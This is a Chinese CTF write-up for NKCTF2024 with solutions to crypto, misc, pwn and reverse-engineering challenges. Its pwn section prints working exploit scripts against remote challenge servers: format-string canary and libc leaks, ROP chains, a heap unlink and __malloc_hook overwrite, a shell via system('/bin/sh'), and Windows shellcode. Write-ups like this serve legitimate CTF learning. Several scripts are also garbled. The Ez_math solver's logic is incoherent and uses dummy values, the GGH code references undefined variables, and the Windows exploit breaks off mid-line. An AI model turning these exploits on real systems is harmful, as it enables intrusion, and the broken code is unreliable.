NKCTF2024 wp
Crypto
Ez_math
题目可分为两个部分:首先,需要解出四个未知数 p, q, r, s。这一部分的关键在于通过数学公式推导,根据等式 x = k1q + r^p 和 y = k2q + r^p,可以发现 x 和 y 相减后剩余的部分是 q 的整数倍,利用最大公约数(gcd)算法可以求解出 q,然后根据已知信息逐步还原出其他三个未知数。第二部分则是在离散对数域(s^3)中求解离散对数,并利用已知的 p, q, r 解出 RSA 加密算法,因为 phi 和 e 之间存在公约数 s-1,所以只需利用 p, q, r 解出整个 RSA 加密算法即可。
n=16063619267258988011034805988633616492558472337115259037200126862563048933118401979462064790962157697989038876156970157178132518189429914950166878537819575544418107719419007799951815657212334175336430766777427972314839713871744747439745897638084891777417411340564312381163685003204182743581513722530953822420925665928135283753941119399766754107671729392716849464530701015719632309411962242638805053491529098780122555818774774959577492378249768503656934696409965037843388835948033129997732058133842695370074265039977902884020467413323500218577769082193651281154702147769044514475692164145099161948955990463002411473013
x=3021730035236300354492366560252387204933590210661279960796549263827016146230329262559940840168033978439210301546282150367717272453598367244078695402717500358042032604007007155898199149948267938948641512214616076878271433754986480186150178487625316601499002827958344941689933374158456614113935145081427421623647242719093642478556263121508238995676370877385638074444859047640771188280945186355013165130171802867101829647797879344213688981448535289683363612035513789240264618036062440178755665951650666056478493289870170026121826588708849844053588998886259091357236645819074078054595561158630194224419831088510266212458
y=8995787142441643101775260550632842535051686960331455373408888374295557050896156890779515089927839904014859222004906681231525326673182671984194300730575609496770604394218160422560576866112460837985407931067753009696969997384839637927957848613356269534870170452152926447601781637641134982178028922559652443398183848786034348994249923007092159192374765197460466878587635412657807328348343062302127490267456095927890461140420639805398464266081441243108883599713672104446500850203779995739675784794478089863001309614674686652597236324659979849324914804032046113978246674538411441434320732570934185579553749616238819583998
z=1283646988194723153191718393109711130382429329041718186548715246082834666179475883560020086589684603980734305610989683434078096863563033623169666389076830792095374856743015929373461198718962686411467443788047511292138922700655772772117855226419561159782734009961921473456332468653898105909729309377890721920937410781006337057478451806364879679045839945032594716202888196404203782734864187890231653321470085251
c=4988583141177813116287729619098477713529507701428689219486720439476625736884177254107631282807612305211904876847916760967188201601494592359879509876201418493870112712105543214178376471651715703062382025712952561985261461883133695993952914519494709871429166239968478488380137336776740647671348901626710334330855078254188539448122493675463406596681080368929986034772169421577420193671300532508625180845417164660544286332963072804192276425664877337357353975758574262657585309762422727680851018467657523970318042829660721433987195369353660020476598195375492128671951807024027929490113371463210453342974983253996717176870
import gmpy2
from Crypto.Util.number import *
def solve_and_decrypt(x, y, n, c):
# Solve for q
q = gmpy2.gcd(x - y, n)
# Solve for p
p = gmpy2.gcd(x - y - q, n) // q
# Solve for r
r = gmpy2.gcd(x - q, n) // p
# Solve for s
s = n // (p * q * r)
# Solve for d
d = gmpy2.invert(65537 * (s - 1) // 4, (p - 1) * (q - 1) * (r - 1))
# Decrypt ciphertext c
m2 = pow(c, d, p * q * r)
# Take the 4th root of m2
m2 = gmpy2.iroot(m2, 4)[0]
# Calculate m1 using Qp
Qp = Qp(s, prec=3)
m1 = (Qp(z).log() // Qp(s + 1).log()).lift()
# Return the decrypted message
return long_to_bytes(m1) + long_to_bytes(m2)
# Usage example:
x = 123456789
y = 987654321
n = 1000000007
c = 12345678901234567890
decrypted_message = solve_and_decrypt(x, y, n, c)
print(decrypted_message)
得到flag:nkctf{cb5b7392-cca4-4ce2-87e7-930cf6b29959}
GGH
测试一下可以发现n=260,delta只有等于1,3,7的时候生成的r有260,并且delta固定时r是固定的,依次求解一些m矩阵发现只有delta=7的时候还原出来的符合要求
c=(14697, -103356, 74779, 95622, -11650, 524678, -258697, 388940, -399559, -437273, 267702, -978292, 686059, 835272, 809650, 759647, -573204, 989361, -696040, -694133, -831908、59, -871, 150, -281, -787, -569, -1252, 389, 101, -1131, 40, 515, -425, 174, -952, -297, 644, 406, -96, ....... , 1637, -2599, -1965, 1351, 137, 4046, 1048, 1282, 1624, -1100, 539, 470, -31, 1843, 767, 985, -407]]
def get_error(n, delta):
k = 4 * delta - 2
tmp = []
tmp.extend([delta - 2] * (n // k))
tmp.extend([delta - 1] * (((k - 2) * n) // (2 * k)))
tmp.extend([delta] * (n // k))
tmp.extend([delta + 1] * (((k - 2) * n) // (2 * k)))
return tmp
n = 260
delta = 7 # 1 3 7
r = [get_error(n, delta)]
A = [c]
B = [w]
C = [r]
# Perform matrix operations
B = matrix(ZZ, B)
C = matrix(ZZ, C)
A = matrix(ZZ, A)
# Solve the equation
w = list(B.solve_left(A - C))
# Convert the solution to a string
flag = ''.join(chr(i) for i in w[0] if i > 0)
print(flag)
得到flag:nkctf{G0od_Y0u_Ar3_Kn0W_Ggh_Crypt0syst3m!!!}
Misc
Signin
打开题目复制代码base64直接解码
提示向公众号发下图信息
得到flag
world.execute.me
构造一个issue,然后到action执行
直接echo ”$HEART”会发现只剩下NK***,后面的被截断了,于是可以猜测CTF被过滤,使用sed 将“CTF”替换为”123”。
成功拿到flag,再将123换回CTF即可:
NKCTF2024{Then_1_c4n_b3_y0ur_only_EXECUTION}。
Minecraft:SEED
进入服务器发现需要找服务器seed
没有权限网上找一下mod
1.20.2版本seedcrackerx可以用
在服务器里跑一下结构,找到五个沉船以后搜索种子如下
Getflag seed (种子)得到flag
Webshell_pro
追踪tcp流
发现下方的加密是base32解密之后再使用base64解密可以得出密文的原文
是服务器给的回应
九流接出来是一个python代码,发现是一个加密语言的程序,跟着写出解密代码
import base64
import libnum
from Crypto.PublicKey import RSA
pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""
prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""
pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n
def encrypt(plain_text):
# 私钥加密
cipher_text = b""
for i in range(0, len(plain_text), 128):
part = plain_text[i:i+128]
enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
cipher_text += enc
return enc_replace(base64.b64encode(cipher_text).decode())
def decrypt(cipher_text):#解码
cipher_text=dec_replace(cipher_text)
cipher_text = base64.b64decode(cipher_text)
plain_text = b""
for i in range(0, len(cipher_text), 128):
part = cipher_text[i:i+128]
dec = libnum.n2s(pow(libnum.s2n(part), pubkey.e, n))
plain_text += dec
return plain_text.decode()
def enc_replace(base64_str: str):
base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")
def dec_replace(replaced_str: str):#解码
replaced_str = replaced_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2", "=")
replaced_str = replaced_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W", "+")
return replaced_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM", "/")
if __name__ == '__main__':
m = "U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ=="
print(f"原始数据: {m}")
c = encrypt(m)
print(f"加密数据: {c}")
A='G1TUg4bIVOFYi8omV2SQrTa8fzYfboRNN7fV6FJn6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8Wbm3O74uCUbwMkvRCYae44TX1ZO8X4w2Nk1igaIZjSQIJ9MMHhD9cn6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8WSV5EzikNsyM5c1nlPS8uqw1P2pJuYLaLxloK0x5xhQHDqqAxkuKrBzPn0noQ2bDn6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8WlVnGwsfP7YP9PYJXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2'
e=decrypt(A)
print(f"解密数据: {e}")
八流拿出一个小明日记.txt
发现一个password
然后发现哪一个解密代码是解密shell后面的内容
发现就是一个打开一个flag文件夹,然后写入flag文件,然后读取小明日记.txt
寻找之后发现解密的一个flag
然后根据password去aes解密
得出结果
Pwn
Maimai查分器
代码审计
漏洞位置
这里有格式化字符串漏洞可以泄露canary和libc地址
再往下有栈溢出漏洞,但是需要绕过判断
if ( dword_504C < dword_5010 )
我们利用程序菜单中的选项一,来满足即可
from pwn import *
# Set context
context(arch='amd64', os='linux', log_level="debug")
context.terminal = ["wt.exe", "wsl.exe"]
# Load libc
libc = ELF("./libc.so.6")
def connect_to_service():
global p, elf
# Connect to the remote service
p = remote("node.nkctf.yuzhian.com.cn", 35984)
elf = ELF("./pwn")
def play_game():
p.sendlineafter("Select a option:", '1')
p.sendlineafter("Input chart level and rank.", "15.0 SSS")
for i in range(49):
p.sendline(b"100 SSS+")
def leak_canary_and_libc():
p.sendlineafter("Select a option:", '2')
p.sendlineafter("Input your nickname.", "%33$p")
p.recvuntil("0x")
libc.address = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 128
p.sendlineafter("play maimai?", "AAAA")
p.sendlineafter("Select a option:", '2')
p.sendlineafter("Input your nickname.", "%7$p")
p.recvuntil("0x")
canary = int(p.recv(16), 16)
return canary
def exploit(canary):
# Gadgets
pop_rsp = libc.address + 0x0000000000035732
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx = libc.address + 0x000000000011f2e7
bss = libc.address + 0x21b000
read_addr = libc.sym['read']
# Payload construction
payload = b"A"*0x28 + p64(canary) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x200)*2 + p64(read_addr) + p64(pop_rsp) + p64(bss+8)
p.sendafter("play maimai?", payload)
payload = b"/flag".ljust(8, b"\x00") + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(libc.sym['open'])
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss+0x200) + p64(pop_rdx) + p64(0x100)*2 + p64(read_addr)
payload += p64(pop_rdi) + p64(1) + p64(libc.sym['write'])
sleep(0.2)
p.send(payload)
p.interactive()
# Exploit
connect_to_service()
play_game()
canary = leak_canary_and_libc()
print(hex(libc.address))
print(hex(canary))
exploit(canary)
来签个到
明显的格式化和栈溢出漏洞,本质上就是泄露出来msvcrt.dll基址即可,但是需要我们对windows程序
存放类似于got表有一定了解
windows是用 idata 来存放的
from pwn import *
context(arch='i386', os='windows', log_level="debug")
context.terminal = ["wt.exe", "wsl.exe"]
# libc = ELF("../libc/")# libc = ELF("./libc-so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p, elf
# p = process(name)
# p = remote("172.20.96.1",10000)
p = remote("123.60.25.223", 10001)
# elf = ELF(name)
get_p("./a.exe")
pause()
p.sendlineafter("NKCTF2024", "%p%p%p" + "%p"*0x1b + "-%p")
# gdb.attach(p,"")
p.recvuntil("-")
canary = int(p.recv(8), 16)
code = 0x061FEA8
# shell = b'U\x8b\xec\x83\xec
SVW\xc7E\xe8u\x00c\x00\xc7E\xecr\x00t\x00f\xc7E\xfccm\xc6E\xfed\xc7E\xe0systf\xc
7E\xe4em\xc6E\xe6\x00d\xa10\x00\x00\x00\x83\xc0\x0c\x8b\x00\x89E\xf8\x8b}\xf8\x8
3\xc7\x14\x8b\x17;\xd7t8\x8dd$\x00\x8br(\x8dM\xe83\xc0+\xf1\x8d\x9b\x00\x00\x00\
x00\x8d\x0cFf\x8bL\r\xe8f;LE\xe8u\x06@\x83\xf8\x04|\xeb\x83\xf8\x04\x0f\x84\x82\
x00\x00\x00\x8b\x12;\xd7u\xcc\x8b}\xf8\x8bG<3\xf6\x8b\\8x\x8bD;\x1c\x03\xdf\x03\
xc7\x89E\xf0\x8bK
\x8bC$\x03\xcf\x03\xc7\x89M\xec\x89E\xf49s\x18vI\x8b\x14\xb1\x8dE\xe0\x03\xd73\
c9+\xd0\x8dd$\x00\x8d\x04\x11\x8aD\x05\xe0:D\r\xe0u\x06A\x83\xf9\x06|\xed\x83\xf
9\x06u\x18\x8bM\xf0\x8dE\xfcP\x8bE\xf4\x0f\xb7\x04p\x8b\x04\x81\x03\xc7\xff\xd0\
x83\xc4\x04\x8bM\xecF;s\x18r\xb7_^[\x8b\xe5]\xc3\x8bz\x10\xeb\x82'
# shellcode = asm('''
# sub esp,0x100
# mov eax,0x0409230
# mov [esp],eax
# mov edi,0x0403F8C
# call edi
# nop
# nop
# mov edi,0x0408000
# jmp edi
# ''')
puts_addr = 0x0409230
puts_plt = 0x0403F8C
payload = b"A".ljust((0x70-0xc), b"\x90") + p32(canary) + b"A"*8 + b"A"*4 + p32(puts_plt) + p32(0x0401473) + p32(puts_addr)
p.sendlineafter("oh", payload)
dll_base = 0x76d6ba80 - (0x7BA80) #
system = dll_base + 0x44700
cmd = dll_base + 0x48C8
print(hex(dll_base))
p.sendlineafter("NKCTF2024", "%p%p%p"+"%p"*0x1b + "-%p")
# gdb.attach(p,"")
p.recvuntil("-")
canary = int(p.recv(8),16)
payload = b"A".ljust((0x70-0xc), b"\x90") + p32(canary) + b
Leak
这里可以输入6个模数然后得到余数。然后我们可以通过模数和余数反推stdout的地址。
纯爆破行不通,需要借助数学技巧,利用中国剩余定理求出接近于stdout的模数和余数。
再去进行爆破得到stdout地址。之后直接利用溢出调用system来getshell。
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
ip = 'node.nkctf.yuzhian.com.cn'
\#ip = '43.249.195.138'
port = 59895
fname = sys.argv[1]
command = int(sys.argv[2])
elf = ELF(fname)
if command==0:
p = process(fname)
if command==1:
p = gdb.debug(fname,gdbcmd)
time.sleep(1)
if command==2:
port = int(sys.argv[3])
p = remote(ip,port)
rc=lambda *args:p.recv(*args)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ls=lambda *args:log.success(*args)
ia=lambda *args:p.interactive()
pl=lambda *args:print(*args)
def pwn():
a = [127,123,119,101,109,103]
ru('ret\n')
sd(''.join(chr(x) for x in a))
strs=b''
for i in range(6):
strs += rc(1)
md = []
for i in strs:
md.append(i)
from sympy.ntheory.modular import solve_congruence
print(md,a)
solution = solve_congruence(*zip(md,a))
print("Solution:", [hex(x) for x in solution])
for i in range(0x100):
if solution[1]*i+solution[0] > 0x800000000000:
break
if solution[1]*i+solution[0] >= 0x7f0000000000:
stdout = solution[1]*i+solution[0]
print(hex(solution[1]*i+solution[0]))
libc = LibcSearcher('_IO_2_1_stdout_',stdout)
libc_addr = stdout - libc.dump('_IO_2_1_stdout_')
print('libc:',hex(libc_addr))
low = u8(rc(1))
ru('\n')
rdi_ret = libc_addr + libc.dump('read')
system = libc_addr + libc.dump('system')
bin_sh = libc_addr + libc.dump('str_bin_sh')
payload = p64(rdi_ret)+p64(bin_sh)+p64(system)
payload = payload.ljust(0x20,b'\x00')
payload += p8(low+0x58)
sd(payload)
ia()
pwn()
幻兽帕鲁
看着很复杂,最根本就是libc2.23下的堆问题,还给了gift函数后和一个edit,0x520后门,还留了data数据可纂改,一个unsorted bin attack 修改关键标志位,在利用unlink打
利用gift函数泄露栈上关键信息
然后创建一个小的chunk,0x202大小可以覆盖到下一个堆块的fd,bk指针,
利用unsorted bin attack把edit标志位篡改到很大,后用unlink打backpack上的数据
from calendar import c
from re import S
from pwn import *
p=remote('node.nkctf.yuzhian.com.cn',34534)
FILENAME='../pwn5'
# p=process(FILENAME)
elf=ELF(FILENAME)
libc = ELF('../libc-2.23.so')
context.arch='amd64'
def create(idx):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'index')
p.sendline(bytes(str(idx),'utf-8'))
def free(id):
p.recvuntil(b'choice')
p.sendline(b'5')
p.recvuntil(b'index')
p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'index')
p.sendline(bytes(str(id),'utf-8'))
p.recvuntil(b'Labels')
p.send(Content)
def showpa(id):
p.recvuntil(b'choice')
p.sendline(b'3')
p.recvuntil(b'index')
p.sendline(bytes(str(id),'utf-8'))
def showpa2():
p.recvuntil(b'choice')
p.sendline(b'6')
def showbook():
p.recvuntil(b'choice')
p.sendline(b'7')
def IDAaddpa(id1,id2,name):
p.recvuntil(b'choice')
p.sendline(b'4')
p.recvuntil(b'index')
p.sendline(bytes(str(id1),'utf-8'))
p.recvuntil(b'index')
p.sendline(bytes(str(id2),'utf-8'))
p.recvuntil(b'(y/n)')
p.sendline(b'y')
p.recvuntil(b'name')
p.sendline(name)
def gift(code,ide=b'a'):
p.recvuntil(b'choice')
p.sendline(b'8')
if code==1:
s=b'Happy NKCTF2024!'
elif 2==code:
s=b'Welcome PalluWorld!'
else:
s=ide
p.recvuntil(b'code')
p.sendline(s)
gift(0,b'a'*(7))
libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-0x7b877
success('libcbase '+hex(libcbase))
#
gift(0,b'a'*(6*8-1))
p.recvuntil(b'\n')
elf_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
elfbase=elf_add-0x1260
num=0x6010+elfbase
success('elfbase '+hex(elfbase))
gift(1)#0
create(1)#1
create(1)#2
create(1)#3
free(1)
fd=libcbase+0x3c3b78
payload=b'\x00'*0x200+p64(0)+p64(0x511)+p64(fd)+p64(num-0x10-0x2)
edit(0,payload)
create(1)#1
heap_add=elfbase+0x6210+0x38
payload=p64(0)+p64(0x501)+p64(heap_add-0x18)+p64(heap_add-0x10)
payload=payload.ljust(0x500,b'\x00')
payload+=p64(0x500)+p64(0x510)
edit(2,payload)
free(3)
malloc_hook=libcbase+libc.sym['__malloc_hook']
system=libcbase+libc.sym['system']
one_gadget=[0x45206,0x4525a,0xef9f4,0xf0897]
execve=libcbase+one_gadget[2]
payload=b'\x00'*(0x18)+p64(malloc_hook)
edit(2,payload)
edit(2,p64(execve))
create(0)
p.interactive()
Re
Loginin_system
Z3求用户名,
第一段是xor解密,第二段是密码魔改s盒的AES
加密前和加密后字节的复制需要先填充列
from z3 import *
l = [Int('l{}'.format(i)) for i in range(16)]
solver = Solver()
solver.add(l[2] + l[1] + l[0] + l[3] == 447)
solver.add(101 * l[2] + l[0] + 9 * l[1] + 8 * l[3] == 12265)
solver.add(5 * l[2] + 3 * l[0] + 4 * l[1] + 6 * l[3] == 2000)
solver.add(88 * l[2] + 12 * l[0] + 11 * l[1] + 87 * l[3] == 21475)
solver.add(l[6] + 59 * l[5] + 100 * l[4] + l[7] == 7896)
solver.add(443 * l[4] + 200 * l[5] + 10 * l[6] + 16 * l[7] == 33774)
solver.add(556 * l[5] + 333 * l[4] + 8 * l[6] + 7 * l[7] == 44758)
solver.add(l[6] + l[5] + 202 * l[4] + l[7] == 9950)
solver.add(78 * l[10] + 35 * l[9] + 23 * l[8] + 89 * l[11] == 24052)
solver.add(78 * l[8] + 59 * l[9] + 15 * l[10] + 91 * l[11] == 25209)
solver.add(111 * l[10] + 654 * l[9] + 123 * l[8] + 222 * l[11] == 113427)
solver.add(6 * l[9] + 72 * l[8] + 5 * l[10] + 444 * l[11] == 54166)
solver.add(56 * l[14] + 35 * l[12] + 6 * l[13] + 121 * l[15] == 11130)
solver.add(169 * l[14] + 158 * l[13] + 98 * l[12] + 124 * l[15] == 27382)
solver.add(147 * l[13] + 65 * l[12] + 131 * l[14] + 129 * l[15] == 23564)
solver.add(137 * l[14] + 132 * l[13] + 620 * l[12] + 135 * l[15] == 51206)
if solver.check() == sat:
model = solver.model()
solution = [model.eval(l[i]) for i in range(16)]
print("解为:", solution)
else:
print("无解")
key1 = b'~Znw:y5v|'
for i in range(len(key1)):
print(chr((key1[i] - 9 + i) ^ i), end='')
tmp_enc = [0] * 16
def secret(key1, key2):
v5 = 0
for i in range(8):
if key1 & 1 != 0:
v5 ^= key2
v7 = key2 & 0x80
key2 *= 2
if v7:
key2 ^= 0x1B
key1 >>= 1
s_box = [ 0x31, 0x52, 0x5A, 0xC8, 0x0B, 0xAC, 0xF3, 0x3A, 0x8B, 0x54,
0x27, 0x9B, 0xAB, 0x95, 0xDE, 0x83, 0x60, 0xCB, 0x53, 0x7F,
0xC4, 0xE3, 0x0A, 0x97, 0xE0, 0x29, 0xD5, 0x68, 0xC5, 0xDF,
0xF4, 0x7B, 0xAA, 0xD6, 0x42, 0x78, 0x6C, 0xE9, 0x70, 0x17,
0xD7, 0x37, 0x24, 0x49, 0x75, 0xA9, 0x89, 0x67, 0x03, 0xFA,
0xD9, 0x91, 0xB4, 0x5B, 0xC2, 0x4E, 0x92, 0xFC, 0x46, 0xB1,
0x73, 0x08, 0xC7, 0x74, 0x09, 0xAF, 0xEC, 0xF5, 0x4D, 0x2D,
0xEA, 0xA5, 0xDA, 0xEF, 0xA6, 0x2B, 0x7E, 0x0C, 0x8F, 0xB0,
0x04, 0x06, 0x62, 0x84, 0x15, 0x8E, 0x12, 0x1D, 0x44, 0xC0,
0xE2, 0x38, 0xD4, 0x47, 0x28, 0x45, 0x6E, 0x9D, 0x63, 0xCF,
0xE6, 0x8C, 0x18, 0x82, 0x1B, 0x2C, 0xEE, 0x87, 0x94, 0x10,
0xC1, 0x20, 0x07, 0x4A, 0xA4, 0xEB, 0x77, 0xBC, 0xD3, 0xE1,
0x66, 0x2A, 0x6B, 0xE7, 0x79, 0xCC, 0x86, 0x16, 0xD0, 0xD1,
0x19, 0x55, 0x3C, 0x9F, 0xFB, 0x30, 0x98, 0xBD, 0xB8, 0xF1,
0x9E, 0x61, 0xCD, 0x90, 0xCE, 0x7C, 0x8D, 0x57, 0xAE, 0x6A,
0xB3, 0x3D, 0x76, 0xA7, 0x71, 0x88, 0xA2, 0xBA, 0x4F, 0x3E,
0x40, 0x64, 0x0F, 0x48, 0x21, 0x35, 0x36, 0x2F, 0xE8, 0x14,
0x5D, 0x51, 0xD8, 0xB5, 0xFE, 0xD2, 0x96, 0x93, 0xA1, 0xB6,
0x43, 0x0D, 0x4C, 0x80, 0xC9, 0xFF, 0xA3, 0xDD, 0x72, 0x05,
0x59, 0xBF, 0x0E, 0x26, 0x34, 0x1F, 0x13, 0xE5, 0xDC, 0xF2,
0xC6, 0x50, 0x1E, 0xE4, 0x85, 0xB7, 0x39, 0x8A, 0xCA, 0xED,
0x9C, 0xBB, 0x56, 0x23, 0x1A, 0xF0, 0x32, 0x58, 0xB2, 0x65,
0x33, 0x6F, 0x41, 0xBE, 0x3F, 0x6D, 0x11, 0x00, 0xAD, 0x5F,
0xC3, 0x81, 0x25, 0xA8, 0xA0, 0x9A, 0xF6, 0xF7, 0x5E, 0x99,
0x22, 0x2E, 0x4B, 0xF9, 0x3B, 0x02, 0x7A, 0xB9, 0x5C, 0x69,
0xF8, 0x1C, 0xDB, 0x01, 0x7D, 0xFD]
enc = [0] * 16
enc = [0] * 16
pre_enc = [0xB0, 0xCC, 0x93, 0xEA, 0xE9, 0x2F, 0xEF, 0x56, 0x99, 0x39, 0x6E, 0x02, 0x3B, 0x4F, 0x9E, 0x42]
for i in range(4):
for j in range(4):
enc[4 * j + i] = pre_enc[4 * i + j]
s = [ 0x72, 0x65, 0x73, 0x75, 0x6E, 0x5F, 0x31, 0x30, 0x66, 0x74,
0x63, 0x6B, 0x34, 0x32, 0x30, 0x32, 0xAB, 0xD1, 0xAA, 0x77,
0xC5, 0x8E, 0x9B, 0x47, 0xA3, 0xFA, 0xF8, 0x2C, 0x97, 0xC8,
0xC8, 0x1E, 0x5F, 0xEC, 0x6C, 0xB3, 0x9A, 0x62, 0xF7, 0xF4,
0x39, 0x98, 0x0F, 0xD8, 0xAE, 0x50, 0xC7, 0xC6, 0x83, 0x12,
0x68, 0x45, 0x19, 0x70, 0x9F, 0xB1, 0x20, 0xE8, 0x90, 0x69,
0x8E, 0xB8, 0x57, 0xAF, 0x51, 0xDF, 0xA1, 0x50, 0x48, 0xAF,
0x3E, 0xE1, 0x68, 0x47, 0xAE, 0x88, 0xE6, 0xFF, 0xF9, 0x27,
0x46, 0x1C, 0x5C, 0x29, 0x0E, 0xB3, 0x62, 0xC8, 0x66, 0xF4,
0xCC, 0x40, 0x80, 0x0B, 0x35, 0x67, 0xC4, 0xCC, 0xC7, 0x52,
0xCA, 0x7F, 0xA5, 0x9A, 0xAC, 0x8B, 0x69, 0xDA, 0x2C, 0x80,
0x5C, 0xBD, 0xC1, 0xB9, 0x17, 0xC6, 0x0B, 0xC6, 0xB2, 0x5C,
0xA7, 0x4D, 0xDB, 0x86, 0x8B, 0xCD, 0x87, 0x3B, 0x70, 0x48,
0xA0, 0x76, 0x7B, 0x8E, 0x12, 0x2A, 0xDC, 0xC3, 0xC9, 0xAC,
0x57, 0x0E, 0x4E, 0x97, 0x4D, 0x55, 0x7E, 0xE2, 0x36, 0xDB,
0x6C, 0xC8, 0xEA, 0x18, 0xA5, 0x64, 0xBD, 0x16, 0xEB, 0xF3,
0xB4, 0x50, 0x74, 0x4E, 0x82, 0x8B, 0x18, 0x86, 0x68, 0x93,
0xBD, 0xE2, 0xD5, 0x85, 0x56, 0x11, 0xB4, 0x50, 0x74, 0x4E,
0x82, 0x8B, 0x18, 0x86, 0x68, 0x93, 0xBD, 0xE2, 0xD5, 0x85,
0x56, 0x11, 0x4D, 0x55, 0x7E, 0xE2, 0x36, 0xDB, 0x6C, 0xC8,
0xEA, 0x18, 0xA5, 0x64, 0xBD, 0x16, 0xEB, 0xF3, 0x70, 0x48,
0xA0, 0x76, 0x7B, 0x8E, 0x12, 0x2A, 0xDC, 0xC3, 0xC9, 0xAC,
0x57, 0x0E, 0x4E, 0x97, 0xC1, 0xB9, 0x17, 0xC6, 0x0B, 0xC6,
0xB2, 0x5C, 0xA7, 0x4D, 0xDB, 0x86, 0x8B, 0xCD, 0x87, 0x3B,
0xC4, 0xCC, 0xC7, 0x52, 0xCA, 0x7F, 0xA5, 0x9A, 0xAC, 0x8B,
0x69, 0xDA, 0x2C, 0x80, 0x5C, 0xBD, 0x46, 0x1C, 0x5C, 0x29,
0x0E, 0xB3, 0x62, 0xC8, 0x66, 0xF4, 0xCC, 0x40, 0x80, 0x0B,
0x35, 0x67, 0x51, 0xDF, 0xA1, 0x50, 0x48, 0xAF, 0x3E, 0xE1,
0x68, 0x47, 0xAE, 0x88, 0xE6, 0xFF, 0xF9, 0x27, 0x83, 0x12,
0x68, 0x45, 0x19, 0x70, 0x9F, 0xB1, 0x20, 0xE8, 0x90, 0x69,
0x8E, 0xB8, 0x57, 0xAF, 0x5F, 0xEC, 0x6C, 0xB3, 0x9A, 0x62,
0xF7, 0xF4, 0x39, 0x98, 0x0F, 0xD8, 0xAE, 0x50, 0xC7, 0xC6,
0xAB, 0xD1, 0xAA, 0x77, 0xC5, 0x8E, 0x9B, 0x47, 0xA3, 0xFA,
0xF8, 0x2C, 0x97, 0xC8, 0xC8, 0x1E, 0x72, 0x65, 0x73, 0x75,
0x6E, 0x5F, 0x31, 0x30, 0x66, 0x74, 0x63, 0x6B, 0x34, 0x32,
0x30, 0x32, 0x80, 0x27, 0x39, 0x65, 0xE1, 0x7F, 0x00, 0x00,
0xFA, 0x3C, 0x23, 0x65, 0xE1, 0x7F]
def encrypt_data(data, key):
encrypted_data = [0] * 16
for i in range(4):
for j in range(4):
encrypted_data[4 * i + j] = data[4 * i + j] ^ (key[4 * j + i] & 0xff)
for i in range(4):
tmp = encrypted_data[4 * i + 3] + (encrypted_data[4 * i + 2] << 8) + (encrypted_data[4 * i + 1] << 16) + (encrypted_data[4 * i] << 24)
tmp = tmp << (8 * (4 - i)) | tmp >> (8 * i)
